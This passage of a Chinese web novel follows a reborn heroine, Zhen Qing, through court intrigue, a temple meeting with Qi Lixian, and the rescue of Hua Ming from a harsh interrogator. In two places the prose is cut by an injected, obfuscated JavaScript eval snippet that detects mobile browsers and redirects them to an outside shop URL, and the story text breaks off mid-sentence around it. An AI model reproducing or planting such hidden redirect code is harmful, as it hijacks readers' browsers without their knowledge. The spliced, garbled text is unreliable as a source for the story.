枕清若是真那么爱出头,第一次见面就已经给许昭玥她们下马威了,她这是在给长安贵女、郎君一个提醒,她并非是什么好欺负的良善之辈,任何话都需三思再出口。 有这么一遭,闲言碎语会少一些,可是这彪悍之名却怎么也抵不住了啊。 佑善略有无奈,另一边的许昭玥似乎也没想到枕清就是县主,之前还暗自评判她为下等人,面容不禁惨白,而被枕清剑锋抵着的郎君脸色更是白得吓人,当即就晕了过去。 被这一闹,大家心绪都跟着提溜了起来,这时一旁的新绿杂草突然飞出几只箭矢,那箭矢直逼枕清而来,取人性命的目的不言而喻。 看来有不少人开始蠢蠢欲动,青黛脸色当即大变,抬手用利刃打飞暗器,寸步不离跟在枕清身侧,警惕四周变数。 那些贵女们惊诧出声,还没发现凶手便已自乱了阵脚,仆从只好跟随这主子一同逃跑,宴会上早已没了方才其乐融融的身影,只剩下脚步匆匆的一团糟乱。 “这个下酒菜,有意思。”不远处还有一人拥着怀里的美人,看着如此场面,笑意不减。 只是那美人满脸憋愤,身娇体软,双手被束缚着动弹不了半分,不得不被那男子环住腰肢牵引着往前走。 若是仔细看清,能发现这男子身后跟随的人不像是大启人,只是宴会上的人都在自顾不暇,自然不会注意这么一个人。 混乱之际,枕清看着抬步即将离开的那对丽人,佯装自己错乱了步子,边跑边撞上了那个郎君——阿之奎。 他就是在上一世的最后,攻入长安的异族王,也是枕清取了张宣晟的尸首送给的这个人,现在的长相比之前所见更加年轻俊朗。 阿之奎在即将被人撞上后,眼疾手快地推着身旁娇软的女子往前,从而挡住自己。齐离弦被阿之奎这一番动作简直气笑了,要不是因为被喂了压制武功、整个人身体酥麻无骨的药,她定取了阿之奎的狗命! 枕清跟齐离弦撞了个满怀,两人都痛得微微俯身,枕清捂住腹部,袖子遮掩住手腕骨,把纸条塞进那女子的袖口内,齐离弦垂眸掩饰住惊诧,不动声色地开始蹲身藏好东西,开始痛呼。 “你也会痛?我还以为你当真不知道什么是疼呢。” 阿之奎嘲讽地垂眼看着齐离弦,重新伸手把她拉在自己身旁,大手再次抚上她的纤细腰肢,叫人再次动弹不得。 青黛走前扶住枕清颤抖的手,她心中惊讶愕然,抬眼看向前面这两人,发现这二人的样貌极为养眼,男子一身玄色衣裳,身姿体态从容不迫,面容硬朗又英俊,清贵中透着一股子不符如今年纪的凌厉色。 那貌美的女子也有绝不输于男子的英姿,面容虽被气得泛红,却也能在五官中看到几许美艳。她的身形动作,倒也能猜得出来她大概是个练家子,只是被什么东西压制了,才处处受制于人。 阿之奎审视枕清苍白的面容,神色淡漠,给人平添了三分拒人千里之外的冷硬,他毫无歉意道:“我这侍女惊扰冲撞了县主,多有得罪,我回去定当好好惩罚我这位不知眼力的侍女,来给县主赔个不是。” 齐离弦在听到惩罚二字,眼皮猛然一跳,眼尾上挑看他,脸颊逼出薄红,气急道:“你简直无耻至极!” 这番言语看起来更像是暧昧挑逗,枕清抿嘴,淡淡道:“郎君误要怪罪这位小娘子,是我自己急了路,撞上了她,还是我要给二位陪个不是。” 阿之奎挑眉一笑,似是接受了枕清的歉意,有意朝齐离弦道:“如此,我就不罚我这位侍女了。” 左一口侍女,右一口侍女,齐离弦简直要气昏过去,刚想发力就又软了身子,她只能依靠着阿之奎,若是不知情的旁人看见,定然觉得这小娘子跟郎君浓情蜜意,如胶似漆。 另一边的云行野早注意到了那处,他看着阿之奎身后不像是大启人的侍卫,轻声疑惑道:“那人我怎么没印象。” 在一众慌乱疾走里,江诉一袭青衫,温润如玉,不经意一抬眸,温和的视线几不可查地轻晃。 他起身要离开这处,语调平缓地为云行野解释道:“阿之奎,安南国的小儿子。” 安南国的人来这里干嘛? 云行野还在思索,见江诉已经走远,他当即跟着走,甚至不忘回头看一眼阿之奎,发现阿之奎居然在盯着江诉离去的背影,神情是说不出的古怪,仿佛早已认识。 他压下心中疑惑,问江诉:“你怎知他是安南国的人,而且他一直看着你,好像是认识你,那你认识他吗?” 云行野和江诉关系极好,也从不隐瞒,许多事情都是直来直往,在别人看来像是刨根问底,一探究竟,只有他们自己知道,这是极其信任,所以无所顾忌,也不避讳。 “前年大朝节,是他代替安南国来供奉进献的,所以记下了。”江诉缓下步子,始终没有回头。 这一边的阿之奎看着江诉头也不回地离开,仿佛回到了很久之前,好似也是这般模样,可惜一切都已经物是人非。 他压住自己微红的眼睛,敷衍地微笑示意自己带着齐离弦离开,只剩枕清一个人在风中。 枕清分明看清了阿之奎在看江诉离开,的确是熟识的姿态。 在上一世,她以为江诉是被她贬出长安,流放的时候认识阿之奎,现如今的情形来看,比她想得还要早得多,而且关系匪浅。 所以江诉在上一世还能依靠着阿之奎重新入长安,甚至来立政殿看望她,原来是早早就搭上了安南国这条路。 江诉,你到底还有多少秘密是我不知道的。 枕清眼眸微暗,她刚想要走,张宣晟拦住了枕清的去路,他递给枕清一枚通体漂亮的玉佩,道:“那日摔碎了县主的玉佩,如今还县主一份,还望县主不要嫌弃。” 枕清漂亮的眸子抬起望向张宣晟,神情冷淡地摇头道:“多谢郎君好意,不必了。” 话落,枕清朝陆佑善走去。 如今时朝政局不稳,现在张宣晟无法依靠禹王,所以只好找她来牵线搭桥,知道上一世的枕清定然不会这么做了。 至于什么时候让他发现自己也有了上一世的记忆,枕清还没想好,但现如今知道不知道都无所谓了。 只怕他会狗急跳墙,去找禹王。 刚才那样的情形,陆佑善虽然害怕,却也先叫人把在暗处伤人的凶手抓住,见枕清走来,她急忙握住枕清的手,打量一番,后怕道:“好在你没事,不然我今日的罪过可就大了。” 枕清闻言失笑:“不必如此说,我这不是没事吗?” 陆佑善忙点头,指着不远处射箭的凶手,她道:“那我把他送去大理寺审问,看看是谁要加害于你,令我们如此胆战心惊!” 这人的箭术精湛,大概是个背后有主的,见此人性格刚硬,想必是审不出什么就会死在牢房中了。 她现如今背靠禹王府,即使不曾树敌,也会有人 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来长安的这一路上,她甚至对阿之奎下三滥的手段癖好有所了解。 喜欢看冷静的人暴怒,而暴怒的人变得畏怯,畏怯的人变得无惧。 他似乎很喜欢激发人。 跟在阿之奎身边的这一年里,齐离弦可没少被折磨。 恍惚间,方才枕清给她的东西,似乎极为硌手,逐渐滚烫了起来。那个小娘子是县主,便是禹王府中的人,她是不是也知道自己的身份?所以才故意接近,给自己传递消息。 得单独找个地方打开那张纸条。 齐离弦瞄了一眼阿之奎,阿之奎正闭眼瞌睡,直到有人唤他下车,阿之奎径直掀开车帘,一个眼神都没留给齐离弦。 这样也随了齐离弦的心意,她快步回房,打开那张纸条,小纸张内只有一颗黑色药丸,没有任何一句话。 她只好把纸条放在烛火上烫,上面显现一行小字。 此药可解百毒,明日青山寺见。 齐离弦看到落笔有一个灵字,当即回过味来,毫不犹豫吞了药丸,也没深思如何叫其他人发觉自己中毒的迹象。 不出片刻,身上的压制脉络逐渐疏通,齐离弦安静地等到了晚上,拿上自己为数不多的东西翻墙出去,躲避巡逻的侍卫,踏着清月,朝青山寺走去。 与此同时,院中的另一处有两人正在窗边赏月落子。 对面那人见阿之奎迟迟不落棋子,不解问道:“怎么了?” 阿之奎乌黑沉静的眸子中露出一丝茫然,他回道:“猫跑了。” “你竟然还养了猫?”对面老者惊诧,他见阿之奎可不像是这般有爱心的人。 阿之奎唇角弯起说不上和善的笑容,掩饰什么般道:“是啊,养了快一年,还是不太听话。” “不听话?”那老者慢慢悠悠落下一字,“那就宰了。” 透过窗棂直面而来的晚风异常冷瑟,风把他的貂毛披风往一边斜,皎洁月亮照明院子一方的梨花树。 簌簌声动,满地余香。 阿之奎执子的手微微一顿,他抬眼看了一眼对面那人,没有回话。 对面那人却没想放过他的意思,直击灵魂道:“你的心乱了,这棋还走吗?” 阿之奎直接认输,谦卑地拱手道:“不愧是帝师,棋技高超,在下输的心服口服。” 老者摸了摸自己白胡子,别有深意瞧阿之奎一眼,捡起棋盘上的白子,高深莫测地笑道:“你哪里输的是我,是你这颗错乱的心罢了。” 明月高挂,孤火独明,老者走后,只剩一地孤清。 阿之奎垂首,揉揉眉心,轻声呢喃:“乱心。” 8. 客里归春又见春(七) 夜色如墨,万籁俱寂。 枕清坐在桌案前,看着明明灭灭的烛火突地被熄灭,门猛然被推开,她缓缓抬起眸眼看着来人。 那人一身黑色夜行衣,目光锐利,神色叫人捉摸不定,坐在枕清身旁的应钰当即起身想要过去。枕清拦着应钰的动作,朝青黛道:“去帮我查查江诉和阿之奎,从出生到现在,去过哪里,到过什么地方,一点点仔细查清楚。” 青黛有些不情愿,她冷声道:“先把药给我。” 晚风微凉,门扉大开。 枕清放下笔砚,接过应钰递来的披风,淡淡道:“你每月给我传递一封消息,我自然会按时给他药,绝无欺骗。” 得枕清如此说,青黛也不好说什么,随即要转身出门,枕清却在她踏出之际,又道:“此去路途遥远,山路险峻,悍匪居多,若是能走水路,也是一个不错的选择。” 如今的天下只是表面那般太平,边陲小国和各州刺史虎视眈眈,朝廷愈发腐败无能,贪官相护,好官不好做,底下的百姓更难,所以山匪更是频出不穷。 青黛知道枕清是好意提醒,面色稍霁,于是回首问她:“那与你如何联系?用朝廷的驿站?” 枕清神色平静,垂首拨开熏香的一道青烟,缓缓道:“川银楼。” 青黛面无表情地看了视线不善的应钰一眼,微微颔首,头也不回地离开这间屋子,离去的时候,屋檐下的灯笼似乎也跟着她的身形晃动,残留一地寒凉。 平白无故被青黛不善的目光斜视,应钰心里头不舒服,却也压抑着没说话。 应钰倒也知道青黛本事好,但青黛现在还是罪奴之身,没查到还好,若是被人知道了,又是一堆麻烦事。 青黛的兄长还在枕清郊外的一处别院养病,每月一次的药吊着命,于是两人达成了某种约定,青黛为枕清做事,枕清给她兄长解药。 但私藏罪犯是重罪,此举还是太过冒险,更何况这一个两个还都不是个安心的主,所以应钰不得不去防着青黛。 本还想再提醒一下,话分明已经到了嘴边,枕清每次那句“信我”在耳畔长久萦绕,令应钰只得把一些提醒的话咽下去,于是将话绕到今天所做的事情上。 白日郊外的宴会上,应钰有耳闻,她知道枕清这是不打算再藏着掖着了,她把今日做的事情笼统交代了一番:“我已经和川银楼背后之人交接好了,这几日他会逐步放权把川银楼交于我们打理,但不会泄露川银楼已经换主的事实。” 枕清走到门扉前,抬手轻轻关上,神情掩匿在夜色里,她道:“我知道了,我这里还有几十亩田地,十几间铺子,你再去帮我打理下,顺带再开一间粮铺。” 应钰是个善于经营管理的人,开铺子做生意,枕清十分放心。听到应钰答“好”声,枕清忽而想到一抹身影,她继而又道:“我还需要你再帮我找一个人,她叫花明。” “花明?”应钰皱眉喃喃。 这个人好像是…… 应钰猛然抬头,就看到枕清毫无大家闺秀模样的随性坐着,烛光映照在她白皙细腻的面庞上,露出少女娇俏的笑容,满目生辉。 枕清的手懒洋洋托住下颌,那笑意里是得逞之后藏不住的狡黠。 上一世长安有双殊,是枕清和陆佑善,但南下的扬州也有,是应钰和花明。 翌晨,昏暗的地牢里突然出现刺目的光亮,一位身着粗布麻衣的女郎披头散发躺在地上,面容瘦削,目光呆滞又空洞,俨然是被什么刺激过。 突然有一道声音传来,她垂下的目光出现一双精致的云纹鹿靴,甚至沾染上了血迹。 她又被审了一夜。 还从未有过这么狼狈的时候,她想体面些,可是连勾勾手指头的力气都没有了。 牢房内除了篝火中的星火跳动,再无别的声响,她迟迟不去看那人,那人也极有耐心地陪着她,既不催促也不离开。 她有些力气后,压下喉咙的血腥味,顺着男人暗色银纹裙裾朝上看去,看清那人冷漠的面容,心神猛地被撞成四分五裂,瞳孔中有如何都掩藏不住的后怕,以及不敢置信的担忧。 男人忽视她眸中复杂的神情,寒凉的眸子低睨她,居高临下道:“叫花明是吧,你到底招不招?” “我.....不招。”花明闭眼,心如死灰。 那人似是不屑地轻笑一声,朝身后的人道:“晚上再审,我来。” 身后的人谄媚笑,忙道:“是。” “我来”这个意思就是他来审这名女子,身后的人悄悄看眼即使满身狼狈,却依旧能清晰看出来底子貌美的花明,不免露出一抹惊诧,又替这女子感到可怜。 落在罗阎王手中,只怕是九死一生。 这所谓的一生,还是痛不欲生的生。 那人鞋底踩着地面,沉稳的脚步声渐行渐远,花明这才睁开眼看向那道高大修长的背影,唇瓣微动。 “罗长观。” 风吹花落,她好似听到了第三种声音。 “落在海东青的手中,怕是九死一生。”牢房里的狱卒道,“这几日长安不是发生了好几件大事,也抓了不少人,都是他在审,反正在他手中,无论皇亲国戚、高官显贵,都不容易活,而且他对女子也不会手软!” 另一人抬眼看向花明那边,可惜道:“那这女子,只怕是凶多吉少了吧……” 长安这几日波斯人离奇死亡甚多,而那些大批珠宝也不翼而飞,应钰和枕清刚盘下了川银楼也作为源头,势必会被追查。 应钰只好先把东西好好盘点下,不要落人把柄。枕清则是带着京墨和天冬朝青山寺中去。 早晨的露珠滚圆寒凉,山中的空气清新舒畅,枕清叫这两人在寺庙的一侧等着,独自进去。 她只身走进大门,穿过长廊,远远就望见佛祖雕像在面前,还没走近些,有一人突然袭来。 刹那间,枕清不动声色地闪身躲避,在来回的一招一式中,二人都是进退有度。 枕清不愿打斗,缓下动作,一个转身跑到佛祖面前,齐离弦紧追不舍。 来回招式中,齐离弦的剑锋直抵在枕清的胸膛前,枕清眼疾手快地抬起袖中藏好的箭弩,尖利的箭矢直面齐离弦的脑袋。 两人的气氛可谓是真真切切的剑拔弩张,谁也不让着谁。 一个路过的僧人见此情形,脸色变了又变,高声急道:“两位施主,佛门重地万万不可如此放肆!” 齐离弦忽视僧人,面颊浮起红色薄怒,道:“你骗我,她呢?” “施主,先放下兵器!” 一旁的僧人如同热锅上的蚂蚁,一直在焦灼等待,枕清先是放下手中的箭弩,平静道:“枕灵是我阿姐,我现在也找不到她。” 齐离弦考虑一番,不情不愿地收回手中的剑。 枕清走离这处,余光瞥见跟上来的齐离弦,勾唇继续道:“想必你早在我枕灵那里得知我也是枕家女娘。” 在上一世,枕清得知枕家还活着的人不止她一个。 可是一直以来,她没见过枕灵,枕灵也没来找过她,唯一的交集是齐离弦和她说她还有个姐姐,可惜到死也没见过。 齐离弦面容缓和,她拿出一点比枕清年长的气势,道:“我的确知道,即使你是阿灵的妹妹,你也不应该用阿灵的名义写给我纸条。” “我并未用枕灵的名义,你是不是没有看清后面还有几字,我写的是灵的妹妹。” 齐离弦听到枕清这番话,她已经想不起来有没有其余的字,她记得看到灵字就头脑一热,不管不顾地来了,于是摸摸鼻子,尴尬地转移话题。 “方才我出手就是为了试你的功夫如何,看样子还可以,能自保。” “多谢。你若是看到枕灵,还请告知我一声,麻烦了。” 枕清的声音清脆好听,又带着一点温和的甜味,让人的心情不自觉平静下来。 齐离弦拢回思绪,自从三年前和枕灵分别就没再见过,又被阿之奎那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她打量好一会方丈,不客气地坐下道:“好久不见,陈琅。” “你怎么有空来这。”陈琅一边换香一边提醒道,“我的法号是寂莲。” 枕清闻言微微挑眉,她懒怠地撑着脸,饶有兴致地盯着他稳而有力的动作,笑着问:“寂莲吗?你究竟是青山寺里的方丈,还是鬼市里的掌头人呢?抑或是,皇城内有名的天师?” 陈琅停下手中的动作,定定地望着她,知道她肯定有事才来,只是没想到她知道的事情会如此之多,而且听到的风向极快。 这几日的珠宝商贩涉及之广,牵扯的人极多,做这一行的,有罗长观的镇压,已经到了人人自危的程度。 “你何必和我绕这么大的圈子来试探我,鬼市这几日确实出现不该有的东西,当然也不会牵扯到川银楼。”他带着少年气的笑容,调侃她,“更何况,县主的身份在这里摆着,哪有我造次的份。” 枕清轻笑一声,眼里露出凌厉的狡黠,挑眉嚣张道:“谁和你说要牵扯到川银楼了,我这是要同你分一杯羹呢。” 陈琅勉强微笑:“你是强盗吗?” 枕清坦然承认:“我是。” 神清气爽地走出寺庙,京墨和天冬还在原地等着,枕清上了马车,两人才摇摇摆摆地驾着马车。 枕清声音从马车内传出来,“你们是听禹王的,还是我的?” 京墨和天冬想当然道:“自然是你,我们都是你的人了。” 马车外的景色宜人秀丽,绿色的生机葱郁盎然,春季已然过半有余。 她掀开车帘,轻轻道:“既然如此,过段时日我会遣散你们出府。” 遣散? 京墨和天冬面色难看,心中慌乱不堪,连忙改口道:“我们也听禹王的!” 这见风使舵也就算了,还使错了位置,枕清不免轻笑,她说:“我只是让你们出府帮我干其他事,并非是不要你们俩。” 如此说,那两人才微微放心。现如今她的势力单薄,很多东西需要别人着手帮忙去办,她能用的人很少。 窗外的景色逐渐远去,在视线内缓缓褪色,她落下帘子,疲惫地闭眼。 9. 客里归春又见春(八) 夜深人静,长安街道,灯火昏暗,空无一人。 白日的喧嚣在夜间消散,唯独大理寺牢房内烛火通明。 花明躺在稻草上,颈脖被磨出好几道红迹。 她昨晚被严刑拷打了一夜,还没恢复过来,正睡得迷迷糊糊,突然有一桶冷水浇在她身上,寒凉瞬间遍布全身。 她恍惚睁开眼睛,寒冷的水在面颊上掉落,她瑟缩了下白皙纤细的脖颈,一双银色缎绣的暗花靴面悄无声息地出现在她的视线。她心中冒出一股寒意,颤颤巍巍地看着来人,像是望进更深不见底的极寒中。 罗长观收回视线,朝后沉声道:“把人带出来。” 花明睫毛轻扇,如同蝴蝶般振翅,也像是脆弱到一只手便能被人捏死。她被人拖了出来,牵扯到身上的伤口,胸膛起伏,剧烈咳嗽。 身前的人闻声探来,他虽有上好的容貌,待人却冷若冰霜,使人对他产生不了好感,只有惧怕。 花明抚住胸口,定定望着那人,那人一如既往地漠不关情样,和之前的记忆逐渐分离,她有些分不清罗长观到底是不是记忆中的那人了。 她被人架上邢架台上,置于位置的中央,这里不同于牢内昏暗狭小。 她的左前方有一盆噼啪声响动的篝火,内有几块猩红的烙铁,另一侧还有带血的鞭子与生锈的铁链,地上铺盖了几层洗不掉的红色血迹,俨然是刚审问完上一个人。 罗长观拿起一块干净的帕子,慢条斯理地擦拭手中的血迹,双目淬寒般朝她探去。 “再给你最后一次机会,招还是不招?” “不招。”花明说完,忍住眼中泪水,抿唇偏过脑袋。 “不招?” 罗长观擦血的手一顿,似乎听到了很好笑的笑话,他冷冷道:“证据确凿,你要如何狡辩?” 花明咬唇辩驳道:“这珠宝是我买的,人并非是我杀的人,有人证。” “抓你那日,既有人证也有物证,而且你所说的人证已经死了,如今没有证明你清白的人和物了,一切都死无对证。”罗长观声音如同浸在雪虐风饕里,直叫人发寒,“听说你还当场承认自己有罪,要进这大理寺的牢房里,现在又改口死不承认,满嘴谎话!” 最后一句戾气极重,在判案之前遇到没一句真话的人,势必没有任何好感。 花明听他每说一句,脸色就苍白一分。 她算是认栽了,不该那么莽撞冲突,一心想要找到罗长观,从而用这么偏激的手段来见他,可这也是最快的捷径。 现在的她总不能荒诞地说自己重生了,和他关系非同寻常,想要见到他,才故意进这个牢房里,熬了好几天的审问,才走到他跟前。 只怕是会被人认成疯子,说不好还真以为她对罗长观乱攀关系,罪加一等。 “不肯说实话,有的是方法让你说实话。”罗长观抬起手指,朝后轻呼一声,“上刑。” 今夜是月圆,皎洁色映照在院子中央,极为漂亮。 枕清坐在院亭下,碰了碰那自己的脑袋,有气无力道:“阿耶,自从那春日宴会遇刺,我每日每夜都睡不好。我想去大理寺看看审查得如何了,到底是何人要取我性命,没有看到结果,我总是心神不宁。” “今夜太晚,明日再去。”禹王给她披上外袍,“既然不舒服,叫义宁给你看看。” 枕清余光瞥见满眼焦急的应钰,她们都知道花明在大理寺一日,危险就多一分,她继续道:“可是今夜有罗长观,我想请他帮我审审,明日就遇不到了,而且迟迟没查出凶手,阿耶放心得了吗?” 春夜的风寒凉刺骨,小溪潺潺流动,波光粼粼,清幽僻静。 禹王取下自己的通行令牌,无奈道:“看来我不给你,你就不走了,罢了,你去吧。” “多谢阿耶。” 枕清拿起宵禁的通行牌,叫京墨和天冬一同驾着马车直奔大理寺。 长安城夜里的常态是寂静漆黑的,只有更夫和巡夜的军队行走。 马车行至半会,便听到军队疾来声,为首的人喝令她出来。 那人的声音气派十足,枕清知道来人是左金吾卫石棠磊,和禹王是几十年的至交好友。 枕清闻声掀开帘子,出示自己的令牌,笑着对年过四十却不显老态的那人,朗声道:“石执父!我有事去大理寺一趟,已经告知过阿耶了。” “原来是小县主。”石棠磊俨然转变方才的态度,温和道,“天黑,注意安全。” 枕清乖巧应声,放下帘子,瞬间收回方才的笑意,一语不发。 半晌后,枕清问:“是谁在审?” “罗长观。”应钰回。 应钰又道:“我今日打探到不一样的罗长观,他曾来过檀州,用以恶为治的手段,到任就把林氏等几个大姓家族的作恶分子全族都杀了,其余大姓家族都被吓坏了,不敢再与官府抗衡。过了一年多后,檀州就已做到夜不闭户,路不拾遗。 “他还曾以严厉手段催折魏郡豪强,一次报杀五百余人,郡中吏民皆胆寒发竖,影响极大,他也因此累迁御史台,而魏郡旁接连十多个郡县,无一不畏惧罗长观。 “他们都道罗长观向来依法办事,娴于杀戮,以致执法不畏避权贵,连诸侯和皇族之人见到他,都要望而生畏。 “大家也由此称呼他为‘海东青’。” 所谓海东青,是万鹰之王。 而在长安,也是首屈一指的存在。 今日的夜晚似乎格外漫长,花明已然是奄奄一息的模样,审问的人都暗自佩服,这女子真是一把硬骨头,居然一声都没吭。 罗长观静静地看着她,语调冰冷:“没事,夜还很长,我们慢慢审。” 花明早已疼到极限,身上大大小小的伤口已经数不清了,淡雅素白的衣袍早已变成艳红色,上方都是她染的血迹。 她好像哪里都是红的,眼睛红,鼻尖红,唇瓣红,就连纤细的脖颈也是红的,让人看着心生怜悯。 罗长观目光停留在疼极却不愿张口的花明身上,再轻飘飘移开,从篝火中拿出烙铁,薄唇轻启:“这么一张漂亮的脸,可惜了。” 花明知道罗长观这要给她上烙印,桃花般的双眸逐渐浮起一片水雾,脸颊侧散落几缕碎发,泪珠如同断线的纸鸢,啪嗒啪嗒掉落,心里仿佛有什么东西在一点点碎掉。 此时的她脆弱又美丽。 那些泪居然落进他的心坎里,罗长观缓缓走近,看到她张开唇瓣,声如蚊呐,又不得不再走近些。 他低着头,瞥见她泪眼朦胧,声音因为疼痛而在颤抖,意识不清般喃喃自语道:“你喜欢我时,我不知你的心意,我喜欢你时,你却不认识我了。” 罗长观皱眉,不懂花明话中意思,他见人精神不济,在改日再审和继续浇冷水审问中开始犹豫徘徊。 他突然有些摸不清自己的心思,不该如此。 罗长观敛定神情,冷声道:“浇醒,继续审。” 花明又被浇了一盆冷水,意识逐渐回笼。 她缓而慢地握紧拳头,指甲嵌入到血肉中,红着眼睛望着罗长观,突然道:“你是不是一定要我招?” 突如其来的一句话,罗长观稍稍侧头,视线掠过她的手,直接望着那张神色坚韧倔强的面容。不知为何,他觉得如果他说是,花明一定会招。 他缓缓道:“你说不是你,拿出证据。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665301|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>花明道:“你不是说已经死无对证了吗?” 一时间,花明不知道是身上的伤口更疼,还是心中酸楚更痛彻心扉。 花明紧紧咬唇,两人似乎在暗自较劲,千钧一发之际,牢内有另一道声音传来,“我有证据!我能证明她的清白!” 枕清快步走前,隔开花明和罗长观的距离。 罗长观这个人太危险了,枕清实在是不放心花明直面这人,即使他们在上一世关系非同一般,可是眼前的罗长观分明是什么都没想起来,居然把人审成这样。 一贯地雷厉风行,没有一丝一毫的区别对待。 “京墨,给她松绑。”枕清回头吩咐。 花明被松了绑,没有力的支撑,当即倒在地上,应钰连忙扶住她,满是心疼地怒瞪着罗长观。 看到应钰和枕清,花明已然明白,突然嗬嗬地笑了起来,不顾身上伤口抱住应钰,心酸道:“你们都记得,唯独他不记得。” 应钰抿唇,想要拍她的背以示安慰,却发现她除了脸上,身上无一块好皮肉,已然无从下手。 枕清出示自己的令牌,冷声道:“那日是我叫她买的珠宝,至于人证,是青山寺的方丈寂莲,他曾到过鬼市,罗监察御史可以去问他,而不是费工夫在无辜之人身上,硬要屈打成招。” “屈打成招?”罗长观冷眸扫过枕清,低睨花明,言语满是警告,“若我真要屈打成招,她一定等不到县主这时候才来,县主自己的人,应当管好才是,下次再落到我手里,我不觉得她会有命再见到任何人。” 罗长观慢慢将落在花明身上的视线拢回,重新直视枕清。 他审了这么久,已然清楚凶手并非是花明,至于为什么会来大理寺牢房,好像是为了他? 可他确信自己没有见过花明,也不认识这人。 这回的用刑确实叫人难忘,他是想给花明一个深刻的教训,祸从口出,无论是何种原因,都不应该存侥幸心理,更不能为了任何事情,以这种方式进入牢房以达到自己的目的。 今日遇到的是他和县主,若是在旁人手中,花明从第一天就已经被人逼供着签字画押。 罗长观的威胁,枕清听得明白,这次是花明做得不对,她也知道罗长观对于花明不是凶手心知肚明。 她想着花明身上的伤势要紧,没想继续纠缠下去,冷冷微笑道:“罗监察御史,若是没别的事,人我就先带走了,再会。” 罗长观又道:“你何时认识这个人的?” “上辈子啊,上辈子我与你也是熟识。” 枕清留下这一句话,迈开的步子微顿,回首道:“我说笑的,罗监察御史莫要信以为真了。还有一件事,刺杀我的那个人劳烦你帮我审一下,多谢了。” 离开大理寺,上了马车,枕清有些气恼她的这般行径,蹙眉道:“他又不认识现在的你,你又何必去招惹他呢?待你们缘分到了,自然能水到渠成。有时候太着急,只会适得其反。” 花明迷迷糊糊低声道:“皇后殿下,你没有爱过人,你不会理解我。” 你没有爱过人。 枕清陷入无端的茫然,而后她轻轻一笑,竟说不出反驳。 夜色黑得深沉,脑海里逐渐浮现出这么一个人。 他神似观音,是无尘之人。 他不似炽热朝阳,也不像竹间枯霜。 他应是穿越千年而来的旅人,翻动古老泛黄的书页,眉梢淡淡地细数人间的悲欢离合,思绪淡淡地感知无情岁月碾压过的痕迹,目光淡淡地看着人间战火百姓凋敝,遗世独立在水深火热之中,永远泰然自若。 可无论如何,他依旧是她在长安城里见到的最后一抹春色。 10. 窗翠侵影渺烟霏(一) 绵绵细雨,漫山云雾。 青翠的松针垂挂几滴露珠,远处山峦弥漫朦胧的白雾,若隐若现,辨不分明。 罗长观一大早去了青山寺,听到缘由,陈琅一面维持表面风度心里骂娘,一面顶住罗长观所给的压力,滴水不漏地圆了枕清扔给他的烂摊子。 把这尊大佛送走,才猛然松了一口气。 待人走远,当即书信一番,怒斥枕清这一番不道德的行为。 枕清收到这封信,正懒洋洋地躺在院子里晒太阳,看到满页怒斥她荒唐行为的诉苦,眉眼微微上挑,并不在意地搁置一旁。 春光明媚,繁花似锦。 这些日子花明一直在养伤,起初的那几天伤口溃烂,连夜高烧不退,义宁所配的汤药一口都送不进去,硬是哄诱着才灌进去。 这伤虽说不上十分严重,却也快磨去她的半条性命,一直到半月后方能下床走动。 这不,才刚好就已经闲不住,拖着残破的身子来观赏池中鱼。 枕清见人来了,漫不经心地点了点自制的鱼竿,没来由道:“圈套,自然是要圈住了,才能套。” 花明问:“你也有要圈住的那个人?” 枕清抬眼便看到一身天青色的人,微微一笑,却不言语。 花明顺着视线望去,神情稍稍僵硬。 只见那人走过长廊,迈过春光,仿佛万物生机都倾泻在身上,举止大雅,满目春风。 “是江侍郎吗?” 就连花明自己都不知道这句话指的上一个问题,还是问所见到的人。 “你知道他上一世的结局吗?”枕清突然问。 “我不知道。”花明道,“我死在你死后第三日,我只知道他带走了你。” 枕清略有诧异,她凝望粗制滥造的鱼竿,仿佛在提醒自己,又像是随意猜测般道:“大概是把我扔到乱葬岗去了吧。” 花明并不明白她为何这么说,江诉并没有把枕清扔去乱葬岗,据说是带去了扬州。 她还没解释,枕清已经搁置鱼竿,走离此地。 小池里的小鱼游得欢快,花明看了一眼不见身影的枕清,摇了摇脑袋。 哪里还下什么圈套,这是入圈套了吧。 小路石径,碧草苔青。 按照花明和应钰重生的时间,枕清猜测,触及重生的时间线是进入长安后,按照上一世的死亡开始。 那么禹王也一定知道,且重生在入长安的第一天。 禹王府西侧小院铺着一地的青石板,缝隙中的杂草冷愈苍翠,枕清神色淡然地迈过底下的生机,朝书房的方向走去。 今日是江诉休沐的日子。 枕清踏着光进来,屋内的光彩被遮去了大半,身形移动,明亮色又如同潮水般滚滚流动。 江诉身形高挑清瘦,端坐在桌案前,低眉垂目,安静专注,平添赏心悦目的舒心。 他没有文人的酸味,更多是少年和青年在交替,好似鲜衣怒马少年时,也像淑人君子,通达事理。 上一世总有人评价他性情蕴藉,给人宽厚而有涵养,含蓄而不显露。 相处久之,才知道那是骨子里漠不关心的冷眼旁观。 时至今日,她仍旧不清楚她恨江诉的源头是什么。 枕清猜测,或许是她太希望江诉的融入,而不是作壁上观。她也清醒地知道他不可能为了任何一个人去融入,骨子里永存对这个世界的疏离。 而她,只会是在他的世界之外。 清风翩然吹落几瓣桃花,斜斜落入窗棂,多添韵致,少许孤寂。 半晌,江诉见枕清迟迟未动,突然问道:“你是哪两个字?” 枕清兴味盎然地打量他,勾唇回答:“延希。漫延的延,希望的希。” 江诉狐疑地瞧一眼她,记得上回春日宴会上,对其他人的介绍分明不是这样。 “难道不是沿途的沿,溪流的溪?” “对旁人是这么讲,但江中丞不同。我的名字一直都是延希,寓意是为延续希望。”枕清眼尾上挑,带着几分妩媚与若有似无的调戏。 给人暧昧的错觉。 江诉略过她神色,音色偏沉:“延续希望?” 